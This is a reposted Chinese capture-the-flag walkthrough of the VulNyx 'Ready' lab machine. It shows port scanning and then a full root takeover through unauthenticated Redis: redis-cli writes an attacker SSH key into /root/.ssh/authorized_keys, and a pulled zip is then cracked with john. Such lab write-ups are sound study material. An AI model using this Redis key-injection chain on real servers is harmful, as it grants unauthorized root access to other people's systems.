VulNyx - Ready

2024-04-13 12:20
文章标签 ready vulnyx

本文主要是介绍VulNyx - Ready,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

信息收集

arp

nmap

nikto

Redis未授权访问漏洞

漏洞扫描

redis-cli

写入公钥

ssh连接

get root.txt


信息收集

arp
┌─[root@parrot]─[~/vulnyx]
└──╼ #arp-scan -l
Interface: enp0s3, type: EN10MB, MAC: 08:00:27:16:3d:f8, IPv4: 192.168.9.102
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.9.103  08:00:27:6a:76:52  PCS Systemtechnik GmbH9 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.980 seconds (129.29 hosts/sec). 9 responded

nmap
端口扫描┌─[✗]─[root@parrot]─[~/vulnyx]
└──╼ #nmap -p- 192.168.9.103 --min-rate 10000 -oA port
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-12 12:23 GMT
Nmap scan report for 192.168.9.103
Host is up (0.00031s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
6379/tcp open  redis
8080/tcp open  http-proxy
MAC Address: 08:00:27:6A:76:52 (Oracle VirtualBox virtual NIC)Nmap done: 1 IP address (1 host up) scanned in 2.55 seco┌─[root@parrot]─[~/vulnyx]
└──╼ #cat port.nmap | head -n 9 | tail -n 4 | awk -F "/" '{print($1)}' | xargs -n 4 | sed 's/ /,/g'
22,80,6379,8080
服务版本信息扫描┌─[root@parrot]─[~/vulnyx]
└──╼ #nmap -sC -sV  -O -p 22,80,6379,8080 192.168.9.103 --min-rate 10000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-12 12:25 GMT
Nmap scan report for 192.168.9.103
Host is up (0.00061s latency).PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 51:f9:f5:59:cd:45:4e:d1:2c:06:41:3b:a6:7a:91:19 (RSA)
|   256 5c:9f:60:b7:c5:50:fc:01:fa:37:7c:dc:16:54:87:3b (ECDSA)
|_  256 04:da:68:25:69:d6:2a:25:e2:5b:e2:99:36:36:d7:48 (ED25519)
80/tcp   open  http    Apache httpd 2.4.54 ((Debian))
|_http-title: Apache2 Test Debian Default Page: It works
|_http-server-header: Apache/2.4.54 (Debian)
6379/tcp open  redis   Redis key-value store 6.0.16
8080/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache2 Test Debian Default Page: It works
MAC Address: 08:00:27:6A:76:52 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.38 seco

  靶机一共开放了4个端口22、80、8080还开放了6379 redis数据库的端口!这个6379端口应该就是突破口!
nikto
┌─[root@parrot]─[~/vulnyx]
└──╼ #nikto -h http://192.168.9.103
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.9.103
+ Target Hostname:    192.168.9.103
+ Target Port:        80
+ Start Time:         2024-04-12 12:30:36 (GMT0)
---------------------------------------------------------------------------
+ Server: Apache/2.4.54 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 29d1, size: 5e428196dbffb, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ 8102 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2024-04-12 12:30:55 (GMT0) (19 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tes┌─[root@parrot]─[~/vulnyx]
└──╼ #nikto -h http://192.168.9.103:8080
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.9.103
+ Target Hostname:    192.168.9.103
+ Target Port:        8080
+ Start Time:         2024-04-12 12:28:33 (GMT0)
---------------------------------------------------------------------------
+ Server: Apache/2.4.54 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 29d1, size: 5e4281ef033d9, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ 8102 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2024-04-12 12:28:54 (GMT0) (21 seconds)
---------------------------------------------------------------------------
+ 1 host(s) teste

Redis未授权访问漏洞

靶机的主页没啥好看的,6379是突破口!

漏洞扫描
┌─[✗]─[root@parrot]─[~/vulnyx]
└──╼ #nmap --script redis-info -sV -p 6379 192.168.9.103 --min-rate 10000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-12 12:38 GMT
Nmap scan report for 192.168.9.103
Host is up (0.00045s latency).PORT     STATE SERVICE VERSION
6379/tcp open  redis   Redis key-value store 6.0.16 (64 bits)
| redis-info: 
|   Version: 6.0.16
|   Operating System: Linux 5.10.0-16-amd64 x86_64
|   Architecture: 64 bits
|   Process ID: 357
|   Used CPU (sys): 1.325301
|   Used CPU (user): 0.000000
|   Connected clients: 2
|   Connected slaves: 0
|   Used memory: 873.01K
|   Role: master
|   Bind addresses: 
|     0.0.0.0
|   Client connections: 
|_    192.168.9.102
MAC Address: 08:00:27:6A:76:52 (Oracle VirtualBox virtual NIC)Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.30 seconds
redis版本是  6.0.16

redis连接可以用 nc 也可以用 redis-cli

redis-cli
┌─[root@parrot]─[~/vulnyx]
└──╼ #redis-cli -h 192.168.9.103
192.168.9.103:6379> help
redis-cli 7.0.15
To get help about Redis commands type:"help @<group>" to get a list of commands in <group>"help <command>" for help on <command>"help <tab>" to get a list of possible help topics"quit" to exitTo set redis-cli preferences:":set hints" enable online hints":set nohints" disable online hints
Set your preferences in ~/.redisclirc
192.168.9.103:6379> 

使用info发现返回一些地址以及服务信息!说明不需要认证我们就可以利用redis!

写入公钥
┌─[root@parrot]─[~/vulnyx]
└──╼ #(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > spaced_key.txt┌─[root@parrot]─[~/vulnyx]
└──╼ #cat spaced_key.txt ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDhOk4J/nc9g0wiCh6VSN1qXugxxw6pmTOaalM4+hNw+bDP68MTT3Ib0rIfFw7VG2Jb83M09hLJ81vQNOG4f5hZDRE/Rk9UklRSf5YMim7AToRMki7nKAGGcBSGdl0zu6zNMFfhXsBIHGz/4WRWOZeDFgypZg7UfG//BBA+xKQnKMiCeiSeDvfrSxhcHptr2GbZ0XMnxb2uVtFkWRL8skdKXsglhNe7q156yG4gihf/bPnGzW5//BS61ESD2UpwAxezQadRNW68ravIfp2NoV+sg/3Q4Ruj75Dn7H5cPfewHNaBalHdYF1ToBjIyEzcH6rqFJPWUo1YtXMac+UOixMYGusc1xjT38jk5fAHYYVI/Uv4S43I2aXQTl+Rb10Y9nbeHkIRFC8+Wyk8+UWGtsgvxTTdPsFdT3eOq+7pZcx8K6M+OAB+G94m9YKXC67VS4HiYjbRu/bhAwNh16nGRokcWgVj2Zi/NR6NGOflhHN95Rk+nQRlUJsRX+wFS05E2A0= root@parrot
将自己的公钥写入到一个文件中!

┌─[root@parrot]─[~/vulnyx]
└──╼ #cat spaced_key.txt | redis-cli -h 192.168.9.103 -x set ssh_key
OK192.168.9.103:6379> KEYS *
1) "ssh_key"写入成功!虽然写入成功了,但是我们还需要把公钥写入到靶机存放公钥地址的地方!

192.168.9.103:6379> config set dir /root/.ssh
OK
192.168.9.103:6379> config set dbfilename "authorized_keys"
OK
192.168.9.103:6379> save
OK
(0.51s)
我尝试直接写入到root/.ssh目录下,发现成功了!说明这个redis是以root方式运行的!

ssh连接
因为写入的是我的公钥,所以我们直接连接即可!┌─[✗]─[root@parrot]─[~/vulnyx]
└──╼ #ssh root@192.168.9.104
The authenticity of host '192.168.9.104 (192.168.9.104)' can't be established.
ED25519 key fingerprint is SHA256:7e6nZsLIg3VH7MUpoakFpn75ysrvjz0K0YGrMGHcpLY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.9.104' (ED25519) to the list of known hosts.
Linux ready 5.10.0-16-amd64 #1 SMP Debian 5.10.127-1 (2022-06-30) x86_64
Last login: Wed Jul 12 18:22:32 2023
root@ready:~# id
uid=0(root) gid=0(root) groups=0(root)
root@ready:~# ls
root.zip
root@ready:~# 7z
-bash: 7z: orden no encontrada
root@ready:~# unzip
-bash: unzip: orden no encontrada
root@ready:~# python3 -m http.server 9900
Serving HTTP on 0.0.0.0 port 9900 (http://0.0.0.0:9900/) ...
192.168.9.102 - - [13/Apr/2024 03:02:18] "GET /root.zip HTTP/1.1" 200 -
┌─[✗]─[root@parrot]─[~/vulnyx]
└──╼ #wget http://192.168.9.104:9900/root.zip
--2024-04-13 01:02:18--  http://192.168.9.104:9900/root.zip
正在连接 192.168.9.104:9900... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:225 [application/zip]
正在保存至: “root.zip”root.zip                      100%[=================================================>]     225  --.-KB/s  用时 0s      2024-04-13 01:02:18 (35.3 MB/s) - 已保存 “root.zip” [225/225])
┌─[root@parrot]─[~/vulnyx]
└──╼ #unzip -l root.zip 
Archive:  root.zipLength      Date    Time    Name
---------  ---------- -----   ----32  2023-04-18 16:14   root.txt
---------                     -------32                     1 file┌─[root@parrot]─[~/vulnyx]
└──╼ #unzip root.zip 
[root.zip] root.txt password: 
好家伙,需要密码啊!我们破解一下吧!

get root.txt
┌─[root@parrot]─[~/vulnyx]
└──╼ #zip2john root.zip >> root.list
ver 2.0 efh 5455 efh 7875 root.zip/root.txt PKZIP Encr: TS_chk, cmplen=43, decmplen=32, crc=68F3F801 ts=91CA cs=91ca type=8
┌─[✗]─[root@parrot]─[~/vulnyx]
└──╼ #john root.list /usr/share/wordlists/rockyou.txt0g 0:00:00:49  3/3 0g/s 38926Kp/s 38926Kc/s 38926KC/s sm1k2gr..snonb3y
0g 0:00:00:50  3/3 0g/s 38959Kp/s 38959Kc/s 38959KC/s rj4pfm5..rjta27t
already          (root.zip/root.txt)     
1g 0:00:00:51 DONE 3/3 (2024-04-13 01:12) 0.01960g/s 39021Kp/s 39021Kc/s 39021KC/s alremoa..alr160k
Use the "--show" option to display all of the cracked passwords reliably
Session complet
密码 already

┌─[root@parrot]─[~/vulnyx]
└──╼ #unzip root.zip 
Archive:  root.zip
[root.zip] root.txt password: inflating: root.txt        ┌─[root@parrot]─[~/vulnyx]
└──╼ #cat root.txt 
cf537b04dd79e859816334b89e85c435

这篇关于VulNyx - Ready的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/900118

相关文章

$(document).ready(function(){})和$().ready(function(){})和$(function(){})的区别

$(document).ready(function(){}) 和$().ready(function(){}) 和$(function(){})的区别有那些呢???? 以上三个语法全部是等价的: 还有$(document).bind("ready", handler)。该方法在从 jQuery 1.8 开始不再建议使用。这种用法的行为和 ready 方法类似,只有一点不同

function 报错 Uncaught ReferenceError: fuzzySearch is not defined用$(document).ready(function(){ })里面的

这个情况就有点坑了 ,小胖哥看了都说写法没大问题,后面觉得把 function 函数弄出去的话试下,果然可以了!!!  $(document).ready(function(){ })里面的 function 报错 Uncaught ReferenceError: fuzzySearch is not defined 先来图看看,第一张图跟 第二张图 看起来代码写的很规矩?

$(document).ready()与$(window).load()的区别

1.执行时间不同: 从字面的意思上理解,$(document).ready()就是文档准备好了。也就是浏览器已经解析完整个html文档,dom树已经建立起来了,这时就可以通过class属性或者id属性等等对dom进行操作等。而$(window).load()就是整个页面已经加载完毕。与前者的区别是dom树虽然已经建立起来了,但页面不一定加载完毕,如一些大的图片等,加载完成就需要一定的时间;但是页

NEUOJ 1117: Ready to declare(单调队列)

1117: Ready to declare 时间限制: 1 Sec   内存限制: 128 MB 提交: 358   解决: 41 [ 提交][ 状态][ 讨论版] 题目描述 Finally, you find the most good-looking girl... You are going to write a letter to her. But you a

k8s容器启动不了,一直重启, 报红提示Not Ready

k8s容器启动不了,一直重启, 报红提示Not Ready 反复多次重启后,才能够启动成功。 发现是 启动时间过长,不断达到了失败阈值,于是会不断重启。 将 failureThreshold、 initialDelaySeconds、periodSeconds 这几个参数设置大一些,就可以启动了。 k8s探针类型及探针配置: 详情见: https://blog.csdn.net/sinat

$(document).ready(function(){ });

页面加载完成后开始运行do stuff when DOM is ready 中的语句!     $(document).ready(function() {        // do stuff when DOM is ready        });    选择器    $(“a”)是一个jquery的选择器(selector)    $("")其中的字段就是元素的标记。比如$(

Ready for Beijing. Go! Go!

突然意识到自己最近的状态堪忧。。特放出大招,来提高自己的学习效率。。这也是我一贯的做法,在自己的低迷期,通过记录自己的学习情况。。。 这次为北京准备。。不管什么结果,自己努力过了就好了。。不给自己留下遗憾,这是唯一的要求。。 大计划: 1.研究上交大的出题模式。时到今日,我们也只能有针对性的去研究一下上交大的题目了。。但是,我估计也研究不出来什么东西。。。。 i  don't know 。。

5.ready

参考文章 https://segmentfault.com/a/1190000005762854 ready其实自己看看基本能看明白,我写在这里只是为了记录一下,我还是和之前一样,看的是2.0.3的版本,我找了一下,发现以前的版本ready的检测内容更多些,比如参考文章里面是1.8.3版本 先看2.0.3,搜一下ready:可以发现两个,一个很简单,就两句话 jQuery.ready.pro

虹科免拆诊断案例 | 2016款吉利帝豪EV车无法进入READY状态

故障现象 一辆2016款吉利帝豪EV车,累计行驶里程约为36.2万km,无法进入READY状态,即无法上高压电,且组合仪表上多个故障灯异常点亮(图1)。 图1 组合仪表上多个故障灯异常点亮 故障诊断 用故障检测仪检测,发现整车控制器(VCU)、车载充电机(OBC)、电机控制器(PEU)、蓄电池管理系统模块(BMS)等多个模块均无法通信(图2),由此推断该车存在通信故障。 图2

捷报频传 | 北京讯通喜获中国信通院2023“Zero Trust Ready SDP解决方案”证书

中国信息通信研究院(以下简称“中国信通院”)算网融合团队联合各生态伙伴,共同发起“Zero Trust Ready”项目,推动零信任(Zero Trust)技术与产业发展。该项目旨在从垂直行业的网络安全需求出发,对齐零信任产业各生态参与方的解决方案、设备功能和服务技术要求,促进国内零信任市场高质量规模化发展。 香港电讯旗下国内子公司——北京讯通通信服务有限公司(以下简称“北京讯通